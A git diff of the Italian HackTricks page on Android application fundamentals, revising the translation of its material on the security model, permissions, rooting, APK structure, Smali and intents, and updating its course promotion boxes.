Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,20 +1,21 @@
|
||||||
# Concetti di base delle applicazioni Android
|
# Fondamenti delle Applicazioni Android
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Gruppo di Sicurezza Try Hard**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -22,77 +23,77 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## Modello di sicurezza Android
|
## Modello di Sicurezza Android
|
||||||
|
|
||||||
**Ci sono due livelli:**
|
**Ci sono due livelli:**
|
||||||
|
|
||||||
* Il **SO**, che mantiene le applicazioni installate isolate l'una dall'altra.
|
* Il **OS**, che mantiene le applicazioni installate isolate l'una dall'altra.
|
||||||
* L'**applicazione stessa**, che consente agli sviluppatori di **esporre determinate funzionalità** e configurare le capacità dell'applicazione.
|
* L'**applicazione stessa**, che consente agli sviluppatori di **esporre determinate funzionalità** e configura le capacità dell'applicazione.
|
||||||
|
|
||||||
### Separazione UID
|
### Separazione UID
|
||||||
|
|
||||||
**Ogni applicazione è assegnata a un ID utente specifico**. Questo viene fatto durante l'installazione dell'app in modo che **l'app possa interagire solo con i file di proprietà del suo ID utente o condivisi**. Pertanto, solo l'app stessa, determinati componenti del SO e l'utente root possono accedere ai dati delle app.
|
**Ogni applicazione è assegnata a un ID Utente specifico**. Questo avviene durante l'installazione dell'app in modo che **l'app possa interagire solo con i file di proprietà del suo ID Utente o con file condivisi**. Pertanto, solo l'app stessa, alcuni componenti del OS e l'utente root possono accedere ai dati delle app.
|
||||||
|
|
||||||
### Condivisione UID
|
### Condivisione UID
|
||||||
|
|
||||||
**Due applicazioni possono essere configurate per utilizzare lo stesso UID**. Questo può essere utile per condividere informazioni, ma se una di esse viene compromessa, i dati di entrambe le applicazioni saranno compromessi. Per questo motivo questo comportamento è **sconsigliato**.\
|
**Due applicazioni possono essere configurate per utilizzare lo stesso UID**. Questo può essere utile per condividere informazioni, ma se una di esse viene compromessa, i dati di entrambe le applicazioni saranno compromessi. Questo è il motivo per cui questo comportamento è **sconsigliato**.\
|
||||||
**Per condividere lo stesso UID, le applicazioni devono definire lo stesso valore `android:sharedUserId` nei loro manifest.**
|
**Per condividere lo stesso UID, le applicazioni devono definire lo stesso valore `android:sharedUserId` nei loro manifest.**
|
||||||
|
|
||||||
### Isolamento
|
### Sandboxing
|
||||||
|
|
||||||
Il **sandbox delle applicazioni Android** consente di eseguire **ogni applicazione** come un **processo separato sotto un ID utente separato**. Ogni processo ha la propria macchina virtuale, quindi il codice di un'app viene eseguito in isolamento da altre app.\
|
Il **Sandbox delle Applicazioni Android** consente di eseguire **ogni applicazione** come un **processo separato sotto un ID utente separato**. Ogni processo ha la propria macchina virtuale, quindi il codice di un'app viene eseguito in isolamento rispetto ad altre app.\
|
||||||
A partire da Android 5.0(L) **SELinux** è obbligatorio. Fondamentalmente, SELinux nega tutte le interazioni tra processi e quindi crea delle politiche per **consentire solo le interazioni attese tra di loro**.
|
A partire da Android 5.0(L) **SELinux** è applicato. Fondamentalmente, SELinux negava tutte le interazioni tra processi e poi creava politiche per **consentire solo le interazioni previste tra di essi**.
|
||||||
|
|
||||||
### Autorizzazioni
|
### Permessi
|
||||||
|
|
||||||
Quando si installa un'applicazione e chiede autorizzazioni, l'app sta richiedendo le autorizzazioni configurate negli elementi **`uses-permission`** nel file **AndroidManifest.xml**. L'elemento **uses-permission** indica il nome dell'autorizzazione richiesta all'interno dell'attributo **name**. Ha anche l'attributo **maxSdkVersion** che smette di chiedere autorizzazioni su versioni superiori a quella specificata.\
|
Quando installi un'**app e richiede permessi**, l'app sta chiedendo i permessi configurati negli elementi **`uses-permission`** nel file **AndroidManifest.xml**. L'elemento **uses-permission** indica il nome del permesso richiesto all'interno dell'**attributo name**. Ha anche l'attributo **maxSdkVersion** che smette di chiedere permessi su versioni superiori a quella specificata.\
|
||||||
Nota che le applicazioni Android non devono chiedere tutte le autorizzazioni all'inizio, possono anche **chiedere autorizzazioni dinamicamente** ma tutte le autorizzazioni devono essere **dichiarate** nel **manifest.**
|
Nota che le applicazioni android non devono chiedere tutti i permessi all'inizio, possono anche **chiedere permessi dinamicamente** ma tutti i permessi devono essere **dichiarati** nel **manifest.**
|
||||||
|
|
||||||
Quando un'app espone funzionalità può limitare l'**accesso solo alle app che hanno una determinata autorizzazione**.\
|
Quando un'app espone funzionalità, può limitare **l'accesso solo alle app che hanno un permesso specificato**.\
|
||||||
Un elemento di autorizzazione ha tre attributi:
|
Un elemento di permesso ha tre attributi:
|
||||||
|
|
||||||
* Il **nome** dell'autorizzazione
|
* Il **nome** del permesso
|
||||||
* L'attributo **permission-group**, che consente di raggruppare autorizzazioni correlate.
|
* L'attributo **permission-group**, che consente di raggruppare permessi correlati.
|
||||||
* Il **livello di protezione** che indica come vengono concesse le autorizzazioni. Ci sono quattro tipi:
|
* Il **protection-level** che indica come vengono concessi i permessi. Ci sono quattro tipi:
|
||||||
* **Normale**: Usato quando non ci sono **minacce conosciute** per l'app. All'utente **non è richiesto di approvarla**.
|
* **Normale**: Usato quando non ci sono **minacce note** all'app. L'utente **non è tenuto ad approvarlo**.
|
||||||
* **Pericoloso**: Indica che l'autorizzazione concede all'applicazione richiedente un **accesso elevato**. **Gli utenti sono invitati ad approvarle**.
|
* **Pericoloso**: Indica che il permesso concede all'applicazione richiedente un **accesso elevato**. **Gli utenti sono invitati ad approvarli**.
|
||||||
* **Firma**: Solo **le app firmate con lo stesso certificato di quella** che esporta il componente possono ottenere l'autorizzazione. Questo è il tipo di protezione più forte.
|
* **Firma**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente possono ricevere il permesso. Questo è il tipo di protezione più forte.
|
||||||
* **FirmaOSystema**: Solo **le app firmate con lo stesso certificato di quella** che esporta il componente o **le app in esecuzione con accesso a livello di sistema** possono ottenere autorizzazioni
|
* **FirmaOSystem**: Solo le **app firmate dallo stesso certificato di quello** che esporta il componente o **app che girano con accesso a livello di sistema** possono ricevere permessi.
|
||||||
|
|
||||||
## Applicazioni preinstallate
|
## Applicazioni Preinstallate
|
||||||
|
|
||||||
Queste app si trovano generalmente nelle directory **`/system/app`** o **`/system/priv-app`** e alcune di esse sono **ottimizzate** (potresti non trovare nemmeno il file `classes.dex`). Queste applicazioni meritano attenzione perché a volte **funzionano con troppe autorizzazioni** (come root).
|
Queste app si trovano generalmente nelle directory **`/system/app`** o **`/system/priv-app`** e alcune di esse sono **ottimizzate** (potresti non trovare nemmeno il file `classes.dex`). Queste applicazioni valgono la pena di essere controllate perché a volte **girano con troppi permessi** (come root).
|
||||||
|
|
||||||
* Quelle fornite con il **ROM** di **AOSP** (Android OpenSource Project)
|
* Quelle fornite con il **AOSP** (Android OpenSource Project) **ROM**
|
||||||
* Aggiunte dal **produttore del dispositivo**
|
* Aggiunte dal **produttore** del dispositivo
|
||||||
* Aggiunte dal **provider del telefono cellulare** (se acquistato da loro)
|
* Aggiunte dal **fornitore di telefonia mobile** (se acquistate da loro)
|
||||||
|
|
||||||
## Rooting
|
## Rooting
|
||||||
|
|
||||||
Per ottenere l'accesso root a un dispositivo Android fisico è generalmente necessario **sfruttare** 1 o 2 **vulnerabilità** che solitamente sono **specifiche** per il **dispositivo** e la **versione**.\
|
Per ottenere accesso root su un dispositivo android fisico, generalmente è necessario **sfruttare** 1 o 2 **vulnerabilità** che tendono a essere **specifiche** per il **dispositivo** e la **versione**.\
|
||||||
Una volta che l'exploit ha funzionato, di solito il binario Linux `su` viene copiato in una posizione specificata nella variabile di ambiente PATH dell'utente come `/system/xbin`.
|
Una volta che l'exploit ha funzionato, di solito il binario Linux `su` viene copiato in una posizione specificata nella variabile PATH dell'utente come `/system/xbin`.
|
||||||
|
|
||||||
Una volta configurato il binario su, un'altra app Android viene utilizzata per interfacciarsi con il binario `su` e **gestire le richieste di accesso root** come **Superuser** e **SuperSU** (disponibili su Google Play Store).
|
Una volta configurato il binario su, un'altra app Android viene utilizzata per interfacciarsi con il binario `su` e **elaborare le richieste di accesso root** come **Superuser** e **SuperSU** (disponibile nel Google Play store).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Nota che il processo di rooting è molto pericoloso e può danneggiare gravemente il dispositivo
|
Nota che il processo di rooting è molto pericoloso e può danneggiare gravemente il dispositivo.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### ROM
|
### ROMs
|
||||||
|
|
||||||
È possibile **sostituire il sistema operativo installando un firmware personalizzato**. Facendo ciò è possibile estendere l'utilità di un vecchio dispositivo, bypassare le restrizioni software o ottenere accesso al codice Android più recente.\
|
È possibile **sostituire il sistema operativo installando un firmware personalizzato**. Facendo ciò, è possibile estendere l'utilità di un vecchio dispositivo, bypassare restrizioni software o accedere all'ultima versione del codice Android.\
|
||||||
**OmniROM** e **LineageOS** sono due dei firmware più popolari da utilizzare.
|
**OmniROM** e **LineageOS** sono due dei firmware più popolari da utilizzare.
|
||||||
|
|
||||||
Nota che **non è sempre necessario eseguire il root del dispositivo** per installare un firmware personalizzato. **Alcuni produttori consentono** lo sblocco dei loro bootloader in modo ben documentato e sicuro.
|
Nota che **non è sempre necessario rootare il dispositivo** per installare un firmware personalizzato. **Alcuni produttori consentono** lo sblocco dei loro bootloader in modo ben documentato e sicuro.
|
||||||
|
|
||||||
### Implicazioni
|
### Implicazioni
|
||||||
|
|
||||||
Una volta che un dispositivo è stato sradicato, qualsiasi app potrebbe richiedere l'accesso come root. Se un'applicazione dannosa lo ottiene, potrà accedere a quasi tutto e sarà in grado di danneggiare il telefono.
|
Una volta che un dispositivo è rootato, qualsiasi app potrebbe richiedere accesso come root. Se un'applicazione malevola ottiene questo accesso, avrà accesso a quasi tutto e sarà in grado di danneggiare il telefono.
|
||||||
|
|
||||||
## Fondamenti delle Applicazioni Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
## Fondamenti delle Applicazioni Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||||
|
|
||||||
- Il formato delle applicazioni Android è chiamato _formato file APK_. È essenzialmente un **file ZIP** (rinominando l'estensione del file in .zip, è possibile estrarre e visualizzare i contenuti).
|
- Il formato delle applicazioni Android è noto come _formato file APK_. È essenzialmente un **file ZIP** (rinominando l'estensione del file in .zip, i contenuti possono essere estratti e visualizzati).
|
||||||
- Contenuti APK (non esaustivi)
|
- Contenuti APK (non esaustivo)
|
||||||
- **AndroidManifest.xml**
|
- **AndroidManifest.xml**
|
||||||
- resources.arsc/strings.xml
|
- resources.arsc/strings.xml
|
||||||
- resources.arsc: contiene risorse precompilate, come XML binario.
|
- resources.arsc: contiene risorse precompilate, come XML binario.
|
||||||
|
@ -102,59 +103,60 @@ Una volta che un dispositivo è stato sradicato, qualsiasi app potrebbe richiede
|
||||||
- **classes.dex**
|
- **classes.dex**
|
||||||
- Contiene bytecode Dalvik, che rappresenta il codice Java (o Kotlin) compilato che l'applicazione esegue per impostazione predefinita.
|
- Contiene bytecode Dalvik, che rappresenta il codice Java (o Kotlin) compilato che l'applicazione esegue per impostazione predefinita.
|
||||||
- lib/
|
- lib/
|
||||||
- Contiene librerie native, suddivise per architettura CPU in sottodirectory.
|
- Contiene librerie native, segregate per architettura CPU in sottodirectory.
|
||||||
- `armeabi`: codice per processori basati su ARM
|
- `armeabi`: codice per processori basati su ARM
|
||||||
- `armeabi-v7a`: codice per processori basati su ARMv7 e superiori
|
- `armeabi-v7a`: codice per processori ARMv7 e superiori
|
||||||
- `x86`: codice per processori X86
|
- `x86`: codice per processori X86
|
||||||
- `mips`: codice solo per processori MIPS
|
- `mips`: codice solo per processori MIPS
|
||||||
- assets/
|
- assets/
|
||||||
- Conserva file vari necessari dall'app, potenzialmente inclusi ulteriori librerie native o file DEX, talvolta utilizzati dagli autori di malware per nascondere codice aggiuntivo.
|
- Memorizza file vari necessari all'app, potenzialmente inclusi librerie native aggiuntive o file DEX, a volte utilizzati dagli autori di malware per nascondere codice aggiuntivo.
|
||||||
- res/
|
- res/
|
||||||
- Contiene risorse che non sono compilate in resources.arsc
|
- Contiene risorse che non sono compilate in resources.arsc
|
||||||
|
|
||||||
### **Dalvik & Smali**
|
### **Dalvik & Smali**
|
||||||
|
|
||||||
Nello sviluppo di Android, **Java o Kotlin** vengono utilizzati per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik eseguibile (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, in versioni più recenti di Android, il Runtime di Android (ART) prende il sopravvento.
|
Nello sviluppo Android, **Java o Kotlin** viene utilizzato per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Eseguibile (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.
|
||||||
|
|
||||||
Per l'ingegneria inversa, **Smali** diventa cruciale. È la versione leggibile dall'utente del bytecode DEX, agendo come linguaggio assembly traducendo il codice sorgente in istruzioni bytecode. Smali e baksmali si riferiscono agli strumenti di assemblaggio e disassemblaggio in questo contesto.
|
Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile dall'uomo del bytecode DEX, agendo come un linguaggio assembly traducendo il codice sorgente in istruzioni bytecode. Smali e baksmali si riferiscono agli strumenti di assemblaggio e disassemblaggio in questo contesto.
|
||||||
|
|
||||||
## Intents
|
## Intents
|
||||||
|
|
||||||
Gli Intents sono il principale mezzo attraverso il quale le app Android comunicano tra i loro componenti o con altre app. Questi oggetti messaggio possono anche trasportare dati tra app o componenti, simile a come vengono utilizzate le richieste GET/POST nelle comunicazioni HTTP.
|
Gli Intents sono il principale mezzo attraverso il quale le app Android comunicano tra i loro componenti o con altre app. Questi oggetti messaggio possono anche trasportare dati tra app o componenti, simile a come vengono utilizzate le richieste GET/POST nelle comunicazioni HTTP.
|
||||||
|
|
||||||
Quindi un Intent è fondamentalmente un **messaggio che viene passato tra i componenti**. Gli Intents **possono essere diretti** a componenti o app specifiche, **o possono essere inviati senza un destinatario specifico**.\
|
Quindi un Intent è fondamentalmente un **messaggio che viene passato tra i componenti**. Gli Intents **possono essere diretti** a componenti o app specifiche, **o possono essere inviati senza un destinatario specifico**.\
|
||||||
Per semplificare, un Intent può essere utilizzato per:
|
Per essere semplici, l'Intent può essere utilizzato:
|
||||||
|
|
||||||
* Avviare un'Attività, aprendo tipicamente un'interfaccia utente per un'app
|
* Per avviare un'Activity, tipicamente aprendo un'interfaccia utente per un'app
|
||||||
* Come trasmissioni per informare il sistema e le app di cambiamenti
|
* Come trasmissioni per informare il sistema e le app di cambiamenti
|
||||||
* Avviare, interrompere e comunicare con un servizio in background
|
* Per avviare, fermare e comunicare con un servizio in background
|
||||||
* Accedere ai dati tramite ContentProviders
|
* Per accedere ai dati tramite ContentProviders
|
||||||
* Come richiami per gestire eventi
|
* Come callback per gestire eventi
|
||||||
|
|
||||||
Se vulnerabili, **gli Intents possono essere utilizzati per eseguire una varietà di attacchi**.
|
Se vulnerabili, **gli Intents possono essere utilizzati per eseguire una varietà di attacchi**.
|
||||||
|
|
||||||
### Intent-Filter
|
### Intent-Filter
|
||||||
|
|
||||||
**Gli Intent Filters** definiscono **come un'attività, un servizio o un ricevitore di trasmissioni possono interagire con diversi tipi di Intents**. Essenzialmente, descrivono le capacità di questi componenti, come le azioni che possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del file **AndroidManifest.xml**, anche se per i ricevitori di trasmissioni, è anche un'opzione codificarli.
|
**I Filtri di Intent** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receivers, codificarli è anche un'opzione.
|
||||||
|
|
||||||
Gli Intent Filters sono composti da categorie, azioni e filtri dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire Intents specifici che corrispondono ai criteri dichiarati.
|
I Filtri di Intent sono composti da categorie, azioni e filtri di dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire specifici Intents che corrispondono ai criteri dichiarati.
|
||||||
|
|
||||||
Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/ricevitori di trasmissioni) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`esportato`** con un valore di **`true`** o se è dichiarato un Intent Filter per esso nel manifesto. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, garantendo che non interagiscano con altre app involontariamente. Ciò viene realizzato impostando l'attributo **`esportato`** su **`false`** nelle loro definizioni di manifesto.
|
Un aspetto critico dei componenti Android (attività/servizi/content provider/broadcast receivers) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Filtro di Intent è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.
|
||||||
|
|
||||||
Inoltre, gli sviluppatori hanno l'opzione di proteggere ulteriormente l'accesso a questi componenti richiedendo autorizzazioni specifiche. L'attributo **`permission`** può essere impostato per garantire che solo le app con le autorizzazioni designate possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagire con esso.
|
Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'accesso a questi componenti richiedendo permessi specifici. L'attributo **`permission`** può essere impostato per imporre che solo le app con il permesso designato possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagire con esso.
|
||||||
```java
|
```java
|
||||||
<activity android:name=".MyActivity" android:exported="false">
|
<activity android:name=".MyActivity" android:exported="false">
|
||||||
<!-- Intent filters go here -->
|
<!-- Intent filters go here -->
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
### Intent impliciti
|
### Implicit Intents
|
||||||
|
|
||||||
Gli intent sono creati programmaticamente utilizzando un costruttore Intent:
|
Gli intent vengono creati programmaticamente utilizzando un costruttore di Intent:
|
||||||
```java
|
```java
|
||||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||||
```
|
```
|
||||||
L'**Azione** dell'intento precedentemente dichiarato è **ACTION\_SEND** e l'**Extra** è un **Uri** mailto (l'Extra è l'informazione extra che l'intento si aspetta).
|
L'**Azione** dell'intento precedentemente dichiarato è **ACTION\_SEND** e l'**Extra** è un mailto **Uri** (l'Extra è le informazioni aggiuntive che l'intento si aspetta).
|
||||||
|
|
||||||
Questo intento dovrebbe essere dichiarato all'interno del manifesto come nell'esempio seguente:
|
Questo intento dovrebbe essere dichiarato all'interno del manifest come nel seguente esempio:
|
||||||
```xml
|
```xml
|
||||||
<activity android:name="ShareActivity">
|
<activity android:name="ShareActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -165,46 +167,46 @@ Questo intento dovrebbe essere dichiarato all'interno del manifesto come nell'es
|
||||||
```
|
```
|
||||||
Un intent-filter deve corrispondere all'**azione**, ai **dati** e alla **categoria** per ricevere un messaggio.
|
Un intent-filter deve corrispondere all'**azione**, ai **dati** e alla **categoria** per ricevere un messaggio.
|
||||||
|
|
||||||
Il processo di "risoluzione dell'intento" determina quale app dovrebbe ricevere ciascun messaggio. Questo processo considera l'attributo **priorità**, che può essere impostato nella dichiarazione dell'**intent-filter**, e **quello con la priorità più alta verrà selezionato**. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono utilizzare il valore `SYSTEM_HIGH_PRIORITY`. Se sorge un **conflitto**, compare una finestra "chooser" in modo che l'**utente possa decidere**.
|
Il processo di "risoluzione dell'Intent" determina quale app dovrebbe ricevere ciascun messaggio. Questo processo considera l'**attributo di priorità**, che può essere impostato nella **dichiarazione dell'intent-filter**, e **quella con la priorità più alta sarà selezionata**. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono utilizzare il valore `SYSTEM_HIGH_PRIORITY`. Se si verifica un **conflitto**, appare una finestra "choser" in modo che **l'utente possa decidere**.
|
||||||
|
|
||||||
### Intenti Espliciti
|
### Intents Espliciti
|
||||||
|
|
||||||
Un intento esplicito specifica il nome della classe a cui è rivolto:
|
Un intent esplicito specifica il nome della classe a cui è destinato:
|
||||||
```java
|
```java
|
||||||
Intent downloadIntent = new (this, DownloadService.class):
|
Intent downloadIntent = new (this, DownloadService.class):
|
||||||
```
|
```
|
||||||
In altre applicazioni per accedere all'intento precedentemente dichiarato è possibile utilizzare:
|
In altre applicazioni, per accedere all'intento precedentemente dichiarato, puoi usare:
|
||||||
```java
|
```java
|
||||||
Intent intent = new Intent();
|
Intent intent = new Intent();
|
||||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||||
context.startService(intent);
|
context.startService(intent);
|
||||||
```
|
```
|
||||||
### Intenti Pendenti
|
### Pending Intents
|
||||||
|
|
||||||
Questi permettono ad altre applicazioni di **eseguire azioni per conto della tua applicazione**, utilizzando l'identità e i permessi della tua app. Per costruire un Intent Pendente è necessario **specificare un intent e l'azione da eseguire**. Se l'**intent dichiarato non è Esplicito** (non dichiara quale intent può chiamarlo) un'applicazione **malintenzionata potrebbe eseguire l'azione dichiarata** per conto dell'app vittima. Inoltre, **se un'azione non è specificata**, l'app malintenzionata sarà in grado di fare **qualsiasi azione per conto della vittima**.
|
Questi consentono ad altre applicazioni di **eseguire azioni per conto della tua applicazione**, utilizzando l'identità e i permessi della tua app. Costruendo un Pending Intent, dovrebbe essere **specificato un intent e l'azione da eseguire**. Se l'**intent dichiarato non è Esplicito** (non dichiara quale intent può chiamarlo), un'**applicazione malevola potrebbe eseguire l'azione dichiarata** per conto dell'app vittima. Inoltre, **se un'azione non è specificata**, l'app malevola sarà in grado di fare **qualsiasi azione per conto della vittima**.
|
||||||
|
|
||||||
### Intenti di Broadcast
|
### Broadcast Intents
|
||||||
|
|
||||||
A differenza degli intenti precedenti, che vengono ricevuti solo da un'app, gli intenti di broadcast **possono essere ricevuti da più app**. Tuttavia, a partire dalla versione API 14, è **possibile specificare l'app che dovrebbe ricevere** il messaggio utilizzando Intent.setPackage.
|
A differenza degli intent precedenti, che sono ricevuti solo da un'app, gli intent broadcast **possono essere ricevuti da più app**. Tuttavia, dalla versione API 14, è **possibile specificare l'app che dovrebbe ricevere** il messaggio utilizzando Intent.setPackage.
|
||||||
|
|
||||||
In alternativa è anche possibile **specificare un permesso durante l'invio del broadcast**. L'app ricevente dovrà avere quel permesso.
|
In alternativa, è anche possibile **specificare un permesso quando si invia il broadcast**. L'app ricevente dovrà avere quel permesso.
|
||||||
|
|
||||||
Ci sono **due tipi** di Broadcast: **Normale** (asincrono) e **Ordinato** (sincrono). L'**ordine** è basato sulla **priorità configurata all'interno del ricevitore**. **Ogni app può elaborare, inoltrare o eliminare il Broadcast.**
|
Ci sono **due tipi** di Broadcast: **Normale** (asincrono) e **Ordinato** (sincrono). L'**ordine** si basa sulla **priorità configurata all'interno dell'elemento ricevente**. **Ogni app può elaborare, inoltrare o scartare il Broadcast.**
|
||||||
|
|
||||||
È possibile **inviare** un **broadcast** utilizzando la funzione `sendBroadcast(intent, receiverPermission)` dalla classe `Context`.\
|
È possibile **inviare** un **broadcast** utilizzando la funzione `sendBroadcast(intent, receiverPermission)` dalla classe `Context`.\
|
||||||
È anche possibile utilizzare la funzione **`sendBroadcast`** dal **`LocalBroadcastManager`** per garantire che il **messaggio non esca mai dall'app**. Utilizzando questo metodo non sarà nemmeno necessario esportare un componente ricevitore.
|
Puoi anche utilizzare la funzione **`sendBroadcast`** dal **`LocalBroadCastManager`** che garantisce che il **messaggio non esca mai dall'app**. Utilizzando questo non avrai nemmeno bisogno di esportare un componente ricevente.
|
||||||
|
|
||||||
### Broadcast Sticky
|
### Sticky Broadcasts
|
||||||
|
|
||||||
Questo tipo di Broadcast **può essere accessibile molto tempo dopo essere stato inviato**.\
|
Questo tipo di Broadcasts **può essere accessibile a lungo dopo che sono stati inviati**.\
|
||||||
Sono stati deprecati nel livello API 21 ed è consigliato **non utilizzarli**.\
|
Questi sono stati deprecati a livello API 21 ed è consigliato **non usarli**.\
|
||||||
**Permettono a qualsiasi applicazione di intercettare i dati, ma anche di modificarli.**
|
**Consentono a qualsiasi applicazione di intercettare i dati, ma anche di modificarli.**
|
||||||
|
|
||||||
Se trovi funzioni contenenti la parola "sticky" come **`sendStickyBroadcast`** o **`sendStickyBroadcastAsUser`**, **verifica l'impatto e cerca di rimuoverle**.
|
